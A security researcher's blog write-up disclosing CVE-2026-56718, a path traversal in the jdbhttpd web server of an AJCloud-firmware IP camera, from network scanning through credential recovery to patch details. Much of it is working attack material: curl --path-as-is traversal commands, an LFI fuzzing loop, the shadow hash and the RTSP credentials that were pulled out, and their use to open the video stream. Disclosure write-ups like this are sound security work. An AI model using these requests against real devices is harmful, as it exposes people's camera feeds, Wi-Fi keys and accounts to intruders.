Skip to content
IoT Firmware Reverse Engineering CVE

CVE-2026-56718

3 September 2026 · 10 min read

How a night of poking at a cheap IP camera turned into CVE-2026-56718.

The target

My dad bought a cheap 2K IP camera in 2025, a Cinnado D1 running AJCloud AJY IPC firmware: I got curious and spent a night poking at it, Gemini riding shotgun the whole way. Months later that night turned into CVE-2026-56718. Here’s how it actually went.

Exploring the network

First I wanted to know what was on the LAN, so I started with an ARP sweep:

sudo arp-scan --localnet
...
192.168.1.8   48:a4:fd:cb:b3:f0   (Unknown)
192.168.1.9   48:a4:fd:c9:c2:c0   (Unknown)
...

Two hosts stood out, 192.168.1.8 and 192.168.1.9. I could tell they were the cameras right away because both MACs share the same OUI (48:a4:fd) and they sat next to each other on the network.

They’re identical units running the same firmware, so from now on I’ll only work on .8; everything applies to .9.

Then I ran a port scan:

sudo nmap -sV -A -p 554,80,443,8000,8899,3702 192.168.1.8
Nmap scan report for 192.168.1.8
Host is up (0.0055s latency).

PORT     STATE  SERVICE        VERSION
80/tcp   open   http           jdbhttpd/0.1.0
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: jdbhttpd/0.1.0
|     Content-Type: text/html
|     Content-Length: 164
|     <HTML><TITLE>Not Found</TITLE>
|     <BODY><P>The server could not fulfill
|     your request because the resource specified
|     is unavailable or nonexistent.
|     </BODY></HTML>
|_http-title: Not Found
|_http-server-header: jdbhttpd/0.1.0
443/tcp  closed https
554/tcp  open   rtsp
|_rtsp-methods: ERROR: Script execution failed
3702/tcp closed ws-discovery
8000/tcp closed http-alt
8899/tcp closed ospf-lite

MAC Address: 48:A4:FD:CB:B3:F0 (Unknown)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

Port 80 was running a web server calling itself jdbhttpd/0.1.0, and port 554 was open too: that’s RTSP, the protocol that carries the video. The version scan also placed the kernel somewhere around Linux 2.6.32–3.10, which is ancient. Old software on a device that’s clearly been shipped and forgotten is usually a good sign that something’s rotten.

Before touching the web server I wanted to know which RTSP paths actually existed, so I wrote a tiny probe that sends a raw DESCRIBE to each common candidate path and prints the status line the camera replies with:

import socket

ip = "192.168.1.8"
port = 554
paths = ["live/ch0", "live/ch1"]

for path in paths:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    request = f"DESCRIBE rtsp://{ip}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n"
    s.send(request.encode())
    response = s.recv(1024).decode()
    s.close()
    print(f"Path: /{path} -> {response.splitlines()[0]}")
Path: /live/ch0 -> RTSP/1.0 401 Unauthorized
Path: /live/ch1 -> RTSP/1.0 401 Unauthorized

The two 401s are what matter: /live/ch0 and /live/ch1 were valid RTSP paths that required credentials. I would confirm they actually exposed video later.

Now I just needed a way in.

A vuln scan finds the hole

At this point I knew what the camera exposed, but I hadn’t actually found a bug yet. So I let Nmap do the boring part and ran its vulnerability scripts against the two services:

sudo nmap -p 80,554 --script vuln 192.168.1.8

The result was pretty much the thing you hope to see when you’re poking at an IoT device:

80/tcp  open  http
| http-enum:
|   /../../../../../../../../../../etc/passwd: Simple path traversal in URI (Linux)
| http-passwd: Directory traversal found.
| Payload: "/../../../../../../../../../../etc/passwd"
| Printing first 250 bytes:
|   root:x:0:0:root:/root:/bin/sh
...

Nmap walked out of the web root and pulled back /etc/passwd. That was enough to confirm that the server was reading files from the underlying filesystem without asking me to log in first.

The bug itself is almost comically simple: ../ means “go up one directory”. A web server is supposed to make sure you can’t keep going once you’re outside the directory it’s meant to serve. This one just kept walking.

And because /etc/passwd is nowhere inside a normal web root, the important part wasn’t the file itself. It meant the boundary was gone.

Why my first attempts read nothing

Knowing the traversal worked was one thing; actually exploiting it with curl was another.

My first instinct was obviously to try the interesting files:

curl "http://192.168.1.8/../../../../../../../../../../etc/shadow" --output camera_shadow.txt
curl "http://192.168.1.8/../../../../../../../../../../etc/config/user.ini" --output user_config.txt
curl "http://192.168.1.8/../../../../../../../../../../etc/config/system.ini" --output system_config.txt
curl "http://192.168.1.8/../../../../../../../../../../etc/config/password.txt" --output pass.txt

They all downloaded exactly 164 bytes.

That number was familiar. The Nmap scan had already shown me that the camera’s 404 page was 164 bytes long:

cat camera_shadow.txt
<HTML><TITLE>Not Found</TITLE>
<BODY><P>The server could not fulfill
your request because the resource specified
is unavailable or nonexistent.
</BODY></HTML>

So I hadn’t found four empty files. I had just downloaded the same 404 page four times.

The reason took me a minute to spot: all those ../ components were being normalized by curl before the request even left my machine, so the camera never received the traversal I thought I was sending.

Nmap had managed it, so I knew it was possible: I just had to send the path the way it did, untouched.

The fix was the --path-as-is flag:

curl --path-as-is "http://192.168.1.8/../../../../../../../../../../etc/passwd"

This time the camera answered with the real file:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
...
nobody:x:99:99:nobody:/home:/bin/sh

And then /etc/shadow (the file that normally only root can read):

curl --path-as-is "http://192.168.1.8/../../../../../../../../../../etc/shadow"
root:EjP59H4zKiy2gc:19220:0:99999:7:::

This is the part that matters more than the file itself. On any normal Linux system /etc/shadow is unreadable to unprivileged users: this demonstrates that jdbhttpd has sufficient privileges to read root-protected filesystem content.

So how much of the filesystem can I read?

At that point I didn’t want to stop at /etc/passwd. I wanted to know whether this was one weird file or a general filesystem read primitive.

I threw a small LFI wordlist at it and looked for successful responses:

for file in $(cat ~/tools/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt | head -n 500 | sed 's/^\///'); do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
      --path-as-is \
      "http://192.168.1.8/../../../../../../../../../../$file")
    if [ "$status" = "200" ]; then
        echo "FOUND: $file"
    fi
done

The interesting hits included:

/etc/fstab
/etc/group
/etc/hosts
/etc/passwd
/etc/shadow
/etc/resolv.conf
/proc/cpuinfo
/proc/interrupts
/proc/loadavg

Config files, /proc entries, arbitrary system files: this wasn’t a quirk of the web root, it was a general read primitive over the whole filesystem.

I could also read startup scripts, which turned out to be much more useful than dumping random system files. For example:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../etc/init.d/rcS"

showed that the device was setting up /etc, mounting /var and, importantly, /var/syscfg:

mkdir -p /var/syscfg
mount -t jffs2 /dev/mtdblock4 /var/syscfg
...
# start test.sh / boot.sh
if [ -f /var/syscfg/test.sh ]; then
  sh /var/syscfg/test.sh &
else
  sh /bin/boot.sh &
fi

That was the first real clue about where the camera kept its persistent configuration. It also told me which script actually runs at boot: test.sh doesn’t exist on this device (fetching it returned the 404 page), so the else branch is what executes, which runs /bin/boot.sh.

Following the camera’s own startup scripts

The same traversal let me pull /bin/boot.sh:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../bin/boot.sh"

boot.sh mounts the main firmware from flash under /mnt/mtd and, at the very end, hands off to the camera’s startup script:

# mount /mnt/mtd
mount -t squashfs /dev/mtdblock3 /mnt/mtd
...
# ipc start
sh /mnt/mtd/bin/ipc_start.sh &

So /mnt/mtd is where the real firmware lives, and ipc_start.sh is what brings the camera up. That’s the next file I pulled:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../mnt/mtd/bin/ipc_start.sh"

Inside it were direct references to:

/var/syscfg/config_default/core.ini
/var/syscfg/config_default
/var/syscfg/config

...

# start testApp or initApp
if [ -f /mnt/mmc/testApp/testApp_t23 ];then
        ...
elif [ -f /mnt/mmc/diagApp/diagApp_t23 ];then
        ...
else
        # start daemon.sh
        /mnt/mtd/bin/daemon.sh &
fi

The camera was loading the tx-isp-t23.ko kernel module; the t23 identifier was a strong clue that the device was based on an Ingenic T23 platform.

Right at the end, ipc_start.sh decides what to launch: a testApp/diagApp if one is present, otherwise it falls through to else and starts /mnt/mtd/bin/daemon.sh. Fetching both /mnt/mmc/testApp/testApp_t23 and /mnt/mmc/diagApp/diagApp_t23 returned the 404 page, so neither exists on this device and the else branch is what runs. That makes daemon.sh my next target.

But first, the config paths: ipc_start.sh had just handed me the exact one. The file I tried was core.ini:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../var/syscfg/config_default/core.ini"

It worked. Among other things, it contained the video configuration, including:

ch0_width=2304
ch0_height=1296

So now I had a better picture of the filesystem.

/var/syscfg/ really was the camera’s configuration area, with a distinction between default and active configuration.

I tried the obvious filenames in /var/syscfg/config/ next: Account.xml, user.ini, network.ini, and a few variations. Nothing.

That was actually useful, because it told me I was probably looking in the right place but guessing the wrong names.

I needed the camera itself to tell me the paths.

Letting the binary tell me where to look

Instead of guessing filenames, I decided to use the camera’s own application to tell me what it actually opened. Back in ipc_start.sh the else branch had launched daemon.sh, so I pulled that next:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../mnt/mtd/bin/daemon.sh"

It’s just a watchdog, an infinite loop that keeps initApp alive and reboots the camera if it crashes too many times:

#!/bin/sh
while true
do
    /mnt/mtd/bin/initApp
    ...
done

So /mnt/mtd/bin/initApp is the real application. I downloaded the binary through the same traversal:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../mnt/mtd/bin/initApp" \
  --output initApp

It came back as a roughly 2.8 MB binary. Then I ran:

strings initApp | grep "/var/syscfg"

This was the turning point. There was the map I’d been missing:

/var/syscfg/flag/debug/saveMem.debug.flag
/var/syscfg/flag/abnormal.flag
/var/syscfg/flag/app_sd_card_format
/var/syscfg/flag/reset.flag
/var/syscfg/config_default/time_auto_save
/var/syscfg/config/time_zone.conf
/var/syscfg/flag/debug/pthreadPool.debug.flag
/var/syscfg/flag/log.cfg
/var/syscfg/config
/var/syscfg/config_default/core.ini
/var/syscfg/config_default
/var/syscfg/config/wpa_supplicant.conf
/var/syscfg/flag/debug
/var/syscfg/flag/debug/countDown.debug.flag
/var/syscfg/config/app_system.ini
/var/syscfg/config/app_ajy_cfg.ini
/var/syscfg/config_default/app_ajy_sn.ini
/var/syscfg/flag/debug/recognAi.debug.flag
/var/syscfg/flag/ProxInfo
/var/syscfg/flag/access.key
/var/syscfg/flag/bind.flag
/var/syscfg/flag/debug/p2pPb.debug.flag
/var/syscfg/config_default/app_user.bin
/var/syscfg/config/app_user.bin
/var/syscfg/config_default/app_upgrade.ini
/var/syscfg/flag/sd_ota_result
/var/syscfg/flag/aged_ok.flag
/var/syscfg/flag/p2p_domain_lookup.t.flag
/var/syscfg/flag/p2p_domain_lookup.log.flag
/var/syscfg/flag/ajyp2p.log.flag

User and system data lived in app_* files under /var/syscfg/config/, nothing like the Account.xml layout I’d been guessing.

What was actually exposed

The next step was to retrieve the files the binary had pointed me to.

Working through that list, app_system.ini was readable and confirmed that RTSP authentication was enabled:

[rtsp]
rtsp_support=1
rtsp_switch=1
rtsp_port=554
rtsp_auth=1

More importantly, app_user.bin was also directly readable through the same path traversal:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../var/syscfg/config/app_user.bin" \
  --output app_user.bin

It was a tiny file, only 216 bytes. Running strings on it gave me two plaintext values:

strings app_user.bin
rpqHic7E
WMPJXZTljMpKQnzY

Two values: clearly the stored credentials, but nothing to say which was the username and which the password. The strings list from initApp had also pointed at a default copy of the same file, in config_default/. So I pulled that too:

curl --path-as-is \
  "http://192.168.1.8/../../../../../../../../../../var/syscfg/config_default/app_user.bin" \
  --output user_default.bin
strings user_default.bin
admin
123456

That settled it. Same file layout, factory values: admin as the username, 123456 as the password, so in the active file rpqHic7E is the username and WMPJXZTljMpKQnzY is the password.

To be sure, I dropped them straight into the RTSP URL for one of the streams I’d found at the very start:

ffplay "rtsp://rpqHic7E:WMPJXZTljMpKQnzY@192.168.1.8:554/live/ch0"

The video came up. Those two strings were the camera’s RTSP credentials, the same ones guarding /live/ch0 and /live/ch1, stored in cleartext and handed over to anyone on the network.

And RTSP credentials weren’t the only thing sitting there. The same strings initApp list pointed at a handful of other sensitive files, all reachable through the exact same traversal:

  • wpa_supplicant.conf -> the Wi-Fi network’s SSID and its pre-shared key (the home network’s password) in cleartext.
  • app_ajy_sn.ini -> the device serial number.
  • the cloud-binding files under /var/syscfg/flag/ (bind.flag, access.key, ProxInfo) -> the parameters tying the camera to its cloud account.

Each of these comes back in the clear with a single curl --path-as-is to its path.

And that’s the whole chain: the path traversal gets you to the file, the file hands over the credentials in plaintext, and those credentials unlock everything. The attacker never needs to authenticate to jdbhttpd itself.

Affected versions

One thing I didn’t know when I first found the vulnerability was the exact firmware version running on the camera.

The filesystem gave me a build identifier: Build 2025-01-06. But I couldn’t find a more specific firmware version number that I could reliably map to an affected release.

I initially contacted AJCloud to ask about the firmware and the vulnerability, but I didn’t receive a response. During the disclosure process, however, VulnCheck was able to get in contact with the AJCloud team, and they confirmed that the vulnerability was addressed in firmware version 01.10715.11.37. The resulting CVE record lists versions before 01.10715.11.37 as affected.

Severity

The CVE record scores this as CVSS 4.0 - 8.7 (High), classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory):

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

A CVSS 3.1 - 7.5 (High) score is also provided in the record:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Root cause and impact

I didn’t have access to the source code or logs for jdbhttpd, so I can’t point to the exact function responsible for the bug. From the device itself, however, the behavior was clear: jdbhttpd/0.1.0 used the request URI to resolve files and did not prevent ../ traversal from escaping the web root.

Months after my initial report, Finite State independently investigated the same jdbhttpd/0.1.0 web server and identified it as carrying the directory traversal vulnerability tracked as CVE-2002-1819, originally disclosed in 2002. Their analysis describes the same underlying failure: filesystem paths were constructed from the incoming request without ensuring that the resulting path remained inside the intended web root.

That makes this more than just an old bug surviving in a single camera. A 24 years old web server was still being shipped inside a modern consumer IoT product. Finite State also reproduced the vulnerability on another consumer camera using the same jdbhttpd/0.1.0 component, highlighting the supply-chain risk of reusing vulnerable third-party software across products.

The impact is what makes the bug particularly nasty. From the LAN, an unauthenticated attacker could turn the traversal into a filesystem read primitive, recover the camera’s stored RTSP credentials, and use them to access the video stream. If the camera’s HTTP service were ever exposed directly to the Internet, that same attack surface could potentially be reachable by anyone with an Internet connection.

References